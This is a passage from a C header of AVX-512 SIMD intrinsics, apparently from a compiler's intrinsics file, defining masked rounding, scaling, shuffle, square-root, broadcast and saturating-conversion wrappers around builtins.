#define _mm_mask_roundscale_sd(W, U, A, B, imm) \
  ((__m128d)__builtin_ia32_rndscalesd_round_mask((__v2df)(__m128d)(A), \
                                                 (__v2df)(__m128d)(B), \
                                                 (__v2df)(__m128d)(W), \
                                                 (__mmask8)(U), (int)(imm), \
                                                 _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_roundscale_round_sd(W, U, A, B, I, R) \
  ((__m128d)__builtin_ia32_rndscalesd_round_mask((__v2df)(__m128d)(A), \
                                                 (__v2df)(__m128d)(B), \
                                                 (__v2df)(__m128d)(W), \
                                                 (__mmask8)(U), (int)(I), \
                                                 (int)(R)))

#define _mm_maskz_roundscale_sd(U, A, B, I) \
  ((__m128d)__builtin_ia32_rndscalesd_round_mask((__v2df)(__m128d)(A), \
                                                 (__v2df)(__m128d)(B), \
                                                 (__v2df)_mm_setzero_pd(), \
                                                 (__mmask8)(U), (int)(I), \
                                                 _MM_FROUND_CUR_DIRECTION))

#define _mm_maskz_roundscale_round_sd(U, A, B, I, R) \
  ((__m128d)__builtin_ia32_rndscalesd_round_mask((__v2df)(__m128d)(A), \
                                                 (__v2df)(__m128d)(B), \
                                                 (__v2df)_mm_setzero_pd(), \
                                                 (__mmask8)(U), (int)(I), \
                                                 (int)(R)))

#define _mm_roundscale_round_ss(A, B, imm, R) \
  ((__m128)__builtin_ia32_rndscaless_round_mask((__v4sf)(__m128)(A), \
                                                (__v4sf)(__m128)(B), \
                                                (__v4sf)_mm_setzero_ps(), \
                                                (__mmask8)-1, (int)(imm), \
                                                (int)(R)))

#define _mm_roundscale_ss(A, B, imm) \
  ((__m128)__builtin_ia32_rndscaless_round_mask((__v4sf)(__m128)(A), \
                                                (__v4sf)(__m128)(B), \
                                                (__v4sf)_mm_setzero_ps(), \
                                                (__mmask8)-1, (int)(imm), \
                                                _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_roundscale_ss(W, U, A, B, I) \
  ((__m128)__builtin_ia32_rndscaless_round_mask((__v4sf)(__m128)(A), \
                                                (__v4sf)(__m128)(B), \
                                                (__v4sf)(__m128)(W), \
                                                (__mmask8)(U), (int)(I), \
                                                _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_roundscale_round_ss(W, U, A, B, I, R) \
  ((__m128)__builtin_ia32_rndscaless_round_mask((__v4sf)(__m128)(A), \
                                                (__v4sf)(__m128)(B), \
                                                (__v4sf)(__m128)(W), \
                                                (__mmask8)(U), (int)(I), \
                                                (int)(R)))

#define _mm_maskz_roundscale_ss(U, A, B, I) \
  ((__m128)__builtin_ia32_rndscaless_round_mask((__v4sf)(__m128)(A), \
                                                (__v4sf)(__m128)(B), \
                                                (__v4sf)_mm_setzero_ps(), \
                                                (__mmask8)(U), (int)(I), \
                                                _MM_FROUND_CUR_DIRECTION))

#define _mm_maskz_roundscale_round_ss(U, A, B, I, R) \
  ((__m128)__builtin_ia32_rndscaless_round_mask((__v4sf)(__m128)(A), \
                                                (__v4sf)(__m128)(B), \
                                                (__v4sf)_mm_setzero_ps(), \
                                                (__mmask8)(U), (int)(I), \
                                                (int)(R)))

#define _mm512_scalef_round_pd(A, B, R) \
  ((__m512d)__builtin_ia32_scalefpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            (__v8df)_mm512_undefined_pd(), \
                                            (__mmask8)-1, (int)(R)))

#define _mm512_mask_scalef_round_pd(W, U, A, B, R) \
  ((__m512d)__builtin_ia32_scalefpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            (__v8df)(__m512d)(W), \
                                            (__mmask8)(U), (int)(R)))

#define _mm512_maskz_scalef_round_pd(U, A, B, R) \
  ((__m512d)__builtin_ia32_scalefpd512_mask((__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            (__v8df)_mm512_setzero_pd(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_scalef_pd (__m512d __A, __m512d __B)
{
  return (__m512d) __builtin_ia32_scalefpd512_mask ((__v8df) __A,
                (__v8df) __B,
                (__v8df)
                _mm512_undefined_pd (),
                (__mmask8) -1,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_scalef_pd (__m512d __W, __mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d) __builtin_ia32_scalefpd512_mask ((__v8df) __A,
                (__v8df) __B,
                (__v8df) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_scalef_pd (__mmask8 __U, __m512d __A, __m512d __B)
{
  return (__m512d) __builtin_ia32_scalefpd512_mask ((__v8df) __A,
                (__v8df) __B,
                (__v8df)
                _mm512_setzero_pd (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_scalef_round_ps(A, B, R) \
  ((__m512)__builtin_ia32_scalefps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           (__v16sf)_mm512_undefined_ps(), \
                                           (__mmask16)-1, (int)(R)))

#define _mm512_mask_scalef_round_ps(W, U, A, B, R) \
  ((__m512)__builtin_ia32_scalefps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           (__v16sf)(__m512)(W), \
                                           (__mmask16)(U), (int)(R)))

#define _mm512_maskz_scalef_round_ps(U, A, B, R) \
  ((__m512)__builtin_ia32_scalefps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           (__v16sf)_mm512_setzero_ps(), \
                                           (__mmask16)(U), (int)(R)))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_scalef_ps (__m512 __A, __m512 __B)
{
  return (__m512) __builtin_ia32_scalefps512_mask ((__v16sf) __A,
               (__v16sf) __B,
               (__v16sf)
               _mm512_undefined_ps (),
               (__mmask16) -1,
               _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_scalef_ps (__m512 __W, __mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512) __builtin_ia32_scalefps512_mask ((__v16sf) __A,
               (__v16sf) __B,
               (__v16sf) __W,
               (__mmask16) __U,
               _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_scalef_ps (__mmask16 __U, __m512 __A, __m512 __B)
{
  return (__m512) __builtin_ia32_scalefps512_mask ((__v16sf) __A,
               (__v16sf) __B,
               (__v16sf)
               _mm512_setzero_ps (),
               (__mmask16) __U,
               _MM_FROUND_CUR_DIRECTION);
}

#define _mm_scalef_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_scalefsd_round_mask((__v2df)(__m128d)(A), \
                                               (__v2df)(__m128d)(B), \
                                               (__v2df)_mm_setzero_pd(), \
                                               (__mmask8)-1, (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_scalef_sd (__m128d __A, __m128d __B)
{
  return (__m128d) __builtin_ia32_scalefsd_round_mask ((__v2df) __A,
              (__v2df)( __B), (__v2df) _mm_setzero_pd(),
              (__mmask8) -1,
              _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_scalef_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_scalefsd_round_mask ( (__v2df) __A,
                 (__v2df) __B,
                (__v2df) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask_scalef_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_scalefsd_round_mask((__v2df)(__m128d)(A), \
                                               (__v2df)(__m128d)(B), \
                                               (__v2df)(__m128d)(W), \
                                               (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_scalef_sd (__mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_scalefsd_round_mask ( (__v2df) __A,
                 (__v2df) __B,
                (__v2df) _mm_setzero_pd (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_scalef_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_scalefsd_round_mask((__v2df)(__m128d)(A), \
                                               (__v2df)(__m128d)(B), \
                                               (__v2df)_mm_setzero_pd(), \
                                               (__mmask8)(U), (int)(R)))

#define _mm_scalef_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_scalefss_round_mask((__v4sf)(__m128)(A), \
                                              (__v4sf)(__m128)(B), \
                                              (__v4sf)_mm_setzero_ps(), \
                                              (__mmask8)-1, (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_scalef_ss (__m128 __A, __m128 __B)
{
  return (__m128) __builtin_ia32_scalefss_round_mask ((__v4sf) __A,
             (__v4sf)( __B), (__v4sf) _mm_setzero_ps(),
             (__mmask8) -1,
             _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_scalef_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_scalefss_round_mask ( (__v4sf) __A,
                (__v4sf) __B,
                (__v4sf) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask_scalef_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_scalefss_round_mask((__v4sf)(__m128)(A), \
                                              (__v4sf)(__m128)(B), \
                                              (__v4sf)(__m128)(W), \
                                              (__mmask8)(U), (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_scalef_ss (__mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_scalefss_round_mask ( (__v4sf) __A,
                 (__v4sf) __B,
                (__v4sf) _mm_setzero_ps (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_scalef_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_scalefss_round_mask((__v4sf)(__m128)(A), \
                                              (__v4sf)(__m128)(B), \
                                              (__v4sf)_mm_setzero_ps(), \
                                              (__mmask8)(U), \
                                              (int)(R)))

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srai_epi32(__m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_psradi512((__v16si)__A, (int)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srai_epi32(__m512i __W, __mmask16 __U, __m512i __A,
                       unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_srai_epi32(__A, __B),
                                         (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srai_epi32(__mmask16 __U, __m512i __A,
                        unsigned int __B) {
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_srai_epi32(__A, __B),
                                         (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srai_epi64(__m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_psraqi512((__v8di)__A, (int)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srai_epi64(__m512i __W, __mmask8 __U, __m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_srai_epi64(__A, __B),
                                          (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srai_epi64(__mmask8 __U, __m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_srai_epi64(__A, __B),
                                          (__v8di)_mm512_setzero_si512());
}

#define _mm512_shuffle_f32x4(A, B, imm) \
  ((__m512)__builtin_ia32_shuf_f32x4((__v16sf)(__m512)(A), \
                                     (__v16sf)(__m512)(B), (int)(imm)))

#define _mm512_mask_shuffle_f32x4(W, U, A, B, imm) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                       (__v16sf)_mm512_shuffle_f32x4((A), (B), (imm)), \
                                       (__v16sf)(__m512)(W)))

#define _mm512_maskz_shuffle_f32x4(U, A, B, imm) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                       (__v16sf)_mm512_shuffle_f32x4((A), (B), (imm)), \
                                       (__v16sf)_mm512_setzero_ps()))

#define _mm512_shuffle_f64x2(A, B, imm) \
  ((__m512d)__builtin_ia32_shuf_f64x2((__v8df)(__m512d)(A), \
                                      (__v8df)(__m512d)(B), (int)(imm)))

#define _mm512_mask_shuffle_f64x2(W, U, A, B, imm) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_shuffle_f64x2((A), (B), (imm)), \
                                        (__v8df)(__m512d)(W)))

#define _mm512_maskz_shuffle_f64x2(U, A, B, imm) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_shuffle_f64x2((A), (B), (imm)), \
                                        (__v8df)_mm512_setzero_pd()))

#define _mm512_shuffle_i32x4(A, B, imm) \
  ((__m512i)__builtin_ia32_shuf_i32x4((__v16si)(__m512i)(A), \
                                      (__v16si)(__m512i)(B), (int)(imm)))

#define _mm512_mask_shuffle_i32x4(W, U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_shuffle_i32x4((A), (B), (imm)), \
                                       (__v16si)(__m512i)(W)))

#define _mm512_maskz_shuffle_i32x4(U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_shuffle_i32x4((A), (B), (imm)), \
                                       (__v16si)_mm512_setzero_si512()))

#define _mm512_shuffle_i64x2(A, B, imm) \
  ((__m512i)__builtin_ia32_shuf_i64x2((__v8di)(__m512i)(A), \
                                      (__v8di)(__m512i)(B), (int)(imm)))

#define _mm512_mask_shuffle_i64x2(W, U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_shuffle_i64x2((A), (B), (imm)), \
                                       (__v8di)(__m512i)(W)))

#define _mm512_maskz_shuffle_i64x2(U, A, B, imm) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_shuffle_i64x2((A), (B), (imm)), \
                                       (__v8di)_mm512_setzero_si512()))

#define _mm512_shuffle_pd(A, B, M) \
  ((__m512d)__builtin_ia32_shufpd512((__v8df)(__m512d)(A), \
                                     (__v8df)(__m512d)(B), (int)(M)))

#define _mm512_mask_shuffle_pd(W, U, A, B, M) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_shuffle_pd((A), (B), (M)), \
                                        (__v8df)(__m512d)(W)))

#define _mm512_maskz_shuffle_pd(U, A, B, M) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_shuffle_pd((A), (B), (M)), \
                                        (__v8df)_mm512_setzero_pd()))

#define _mm512_shuffle_ps(A, B, M) \
  ((__m512)__builtin_ia32_shufps512((__v16sf)(__m512)(A), \
                                    (__v16sf)(__m512)(B), (int)(M)))

#define _mm512_mask_shuffle_ps(W, U, A, B, M) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                       (__v16sf)_mm512_shuffle_ps((A), (B), (M)), \
                                       (__v16sf)(__m512)(W)))

#define _mm512_maskz_shuffle_ps(U, A, B, M) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                       (__v16sf)_mm512_shuffle_ps((A), (B), (M)), \
                                       (__v16sf)_mm512_setzero_ps()))

#define _mm_sqrt_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_sqrtsd_round_mask((__v2df)(__m128d)(A), \
                                             (__v2df)(__m128d)(B), \
                                             (__v2df)_mm_setzero_pd(), \
                                             (__mmask8)-1, (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_sqrt_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_sqrtsd_round_mask ( (__v2df) __A,
                 (__v2df) __B,
                (__v2df) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask_sqrt_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_sqrtsd_round_mask((__v2df)(__m128d)(A), \
                                             (__v2df)(__m128d)(B), \
                                             (__v2df)(__m128d)(W), \
                                             (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_sqrt_sd (__mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_sqrtsd_round_mask ( (__v2df) __A,
                 (__v2df) __B,
                (__v2df) _mm_setzero_pd (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_sqrt_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_sqrtsd_round_mask((__v2df)(__m128d)(A), \
                                             (__v2df)(__m128d)(B), \
                                             (__v2df)_mm_setzero_pd(), \
                                             (__mmask8)(U), (int)(R)))

#define _mm_sqrt_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_sqrtss_round_mask((__v4sf)(__m128)(A), \
                                            (__v4sf)(__m128)(B), \
                                            (__v4sf)_mm_setzero_ps(), \
                                            (__mmask8)-1, (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_sqrt_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_sqrtss_round_mask ( (__v4sf) __A,
                 (__v4sf) __B,
                (__v4sf) __W,
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask_sqrt_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_sqrtss_round_mask((__v4sf)(__m128)(A), \
                                            (__v4sf)(__m128)(B), \
                                            (__v4sf)(__m128)(W), (__mmask8)(U), \
                                            (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_sqrt_ss (__mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_sqrtss_round_mask ( (__v4sf) __A,
                 (__v4sf) __B,
                (__v4sf) _mm_setzero_ps (),
                (__mmask8) __U,
                _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_sqrt_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_sqrtss_round_mask((__v4sf)(__m128)(A), \
                                            (__v4sf)(__m128)(B), \
                                            (__v4sf)_mm_setzero_ps(), \
                                            (__mmask8)(U), (int)(R)))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_broadcast_f32x4(__m128 __A)
{
  return (__m512)__builtin_shufflevector((__v4sf)__A, (__v4sf)__A,
                                         0, 1, 2, 3, 0, 1, 2, 3,
                                         0, 1, 2, 3, 0, 1, 2, 3);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_broadcast_f32x4(__m512 __O, __mmask16 __M, __m128 __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__M,
                                           (__v16sf)_mm512_broadcast_f32x4(__A),
                                           (__v16sf)__O);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcast_f32x4(__mmask16 __M, __m128 __A)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__M,
                                           (__v16sf)_mm512_broadcast_f32x4(__A),
                                           (__v16sf)_mm512_setzero_ps());
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_broadcast_f64x4(__m256d __A)
{
  return (__m512d)__builtin_shufflevector((__v4df)__A, (__v4df)__A,
                                          0, 1, 2, 3, 0, 1, 2, 3);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_broadcast_f64x4(__m512d __O, __mmask8 __M, __m256d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__M,
                                            (__v8df)_mm512_broadcast_f64x4(__A),
                                            (__v8df)__O);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcast_f64x4(__mmask8 __M, __m256d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__M,
                                            (__v8df)_mm512_broadcast_f64x4(__A),
                                            (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_broadcast_i32x4(__m128i __A)
{
  return (__m512i)__builtin_shufflevector((__v4si)__A, (__v4si)__A,
                                          0, 1, 2, 3, 0, 1, 2, 3,
                                          0, 1, 2, 3, 0, 1, 2, 3);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_broadcast_i32x4(__m512i __O, __mmask16 __M, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                           (__v16si)_mm512_broadcast_i32x4(__A),
                                           (__v16si)__O);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcast_i32x4(__mmask16 __M, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__M,
                                           (__v16si)_mm512_broadcast_i32x4(__A),
                                           (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_broadcast_i64x4(__m256i __A)
{
  return (__m512i)__builtin_shufflevector((__v4di)__A, (__v4di)__A,
                                          0, 1, 2, 3, 0, 1, 2, 3);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_broadcast_i64x4(__m512i __O, __mmask8 __M, __m256i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                            (__v8di)_mm512_broadcast_i64x4(__A),
                                            (__v8di)__O);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcast_i64x4(__mmask8 __M, __m256i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__M,
                                            (__v8di)_mm512_broadcast_i64x4(__A),
                                            (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_broadcastsd_pd (__m512d __O, __mmask8 __M, __m128d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512(__M,
                                              (__v8df) _mm512_broadcastsd_pd(__A),
                                              (__v8df) __O);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcastsd_pd (__mmask8 __M, __m128d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512(__M,
                                              (__v8df) _mm512_broadcastsd_pd(__A),
                                              (__v8df) _mm512_setzero_pd());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_broadcastss_ps (__m512 __O, __mmask16 __M, __m128 __A)
{
  return (__m512)__builtin_ia32_selectps_512(__M,
                                             (__v16sf) _mm512_broadcastss_ps(__A),
                                             (__v16sf) __O);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_broadcastss_ps (__mmask16 __M, __m128 __A)
{
  return (__m512)__builtin_ia32_selectps_512(__M,
                                             (__v16sf) _mm512_broadcastss_ps(__A),
                                             (__v16sf) _mm512_setzero_ps());
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtsepi32_epi8 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsdb512_mask ((__v16si) __A,
               (__v16qi) _mm_undefined_si128 (),
               (__mmask16) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi32_epi8 (__m128i __O, __mmask16 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsdb512_mask ((__v16si) __A,
               (__v16qi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtsepi32_epi8 (__mmask16 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsdb512_mask ((__v16si) __A,
               (__v16qi) _mm_setzero_si128 (),
               __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi32_storeu_epi8 (void * __P, __mmask16 __M, __m512i __A)
{
  __builtin_ia32_pmovsdb512mem_mask ((__v16qi *) __P, (__v16si) __A, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtsepi32_epi16 (__m512i __A)
{
  return (__m256i) __builtin_ia32_pmovsdw512_mask ((__v16si) __A,
               (__v16hi) _mm256_undefined_si256 (),
               (__mmask16) -1);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi32_epi16 (__m256i __O, __mmask16 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovsdw512_mask ((__v16si) __A,
               (__v16hi) __O, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtsepi32_epi16 (__mmask16 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovsdw512_mask ((__v16si) __A,
               (__v16hi) _mm256_setzero_si256 (),
               __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi32_storeu_epi16 (void *__P, __mmask16 __M, __m512i __A)
{
  __builtin_ia32_pmovsdw512mem_mask ((__v16hi*) __P, (__v16si) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtsepi64_epi8 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsqb512_mask ((__v8di) __A,
               (__v16qi) _mm_undefined_si128 (),
               (__mmask8) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi64_epi8 (__m128i __O, __mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsqb512_mask ((__v8di) __A,
               (__v16qi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtsepi64_epi8 (__mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsqb512_mask ((__v8di) __A,
               (__v16qi) _mm_setzero_si128 (),
               __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi64_storeu_epi8 (void * __P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovsqb512mem_mask ((__v16qi *) __P, (__v8di) __A, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvtsepi64_epi32 (__m512i __A)
{
  return (__m256i) __builtin_ia32_pmovsqd512_mask ((__v8di) __A,
               (__v8si) _mm256_undefined_si256 (),
               (__mmask8) -1);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi64_epi32 (__m256i __O, __mmask8 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovsqd512_mask ((__v8di) __A,
               (__v8si) __O, __M);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtsepi64_epi32 (__mmask8 __M, __m512i __A)
{
  return (__m256i) __builtin_ia32_pmovsqd512_mask ((__v8di) __A,
               (__v8si) _mm256_setzero_si256 (),
               __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi64_storeu_epi32 (void *__P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovsqd512mem_mask ((__v8si *) __P, (__v8di) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtsepi64_epi16 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsqw512_mask ((__v8di) __A,
               (__v8hi) _mm_undefined_si128 (),
               (__mmask8) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi64_epi16 (__m128i __O, __mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsqw512_mask ((__v8di) __A,
               (__v8hi) __O, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtsepi64_epi16 (__mmask8 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovsqw512_mask ((__v8di) __A,
               (__v8hi) _mm_setzero_si128 (),
               __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtsepi64_storeu_epi16 (void * __P, __mmask8 __M, __m512i __A)
{
  __builtin_ia32_pmovsqw512mem_mask ((__v8hi *) __P, (__v8di) __A, __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_cvtusepi32_epi8 (__m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusdb512_mask ((__v16si) __A,
                (__v16qi) _mm_undefined_si128 (),
                (__mmask16) -1);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi32_epi8 (__m128i __O, __mmask16 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusdb512_mask ((__v16si) __A,
                (__v16qi) __O,
                __M);
}

static __inline__ __m128i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtusepi32_epi8 (__mmask16 __M, __m512i __A)
{
  return (__m128i) __builtin_ia32_pmovusdb512_mask ((__v16si) __A,
                (__v16qi) _mm_setzero_si128 (),
                __M);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_cvtusepi32_storeu_epi8 (void * __P, __mmask16 __M, __m512i __A)
{
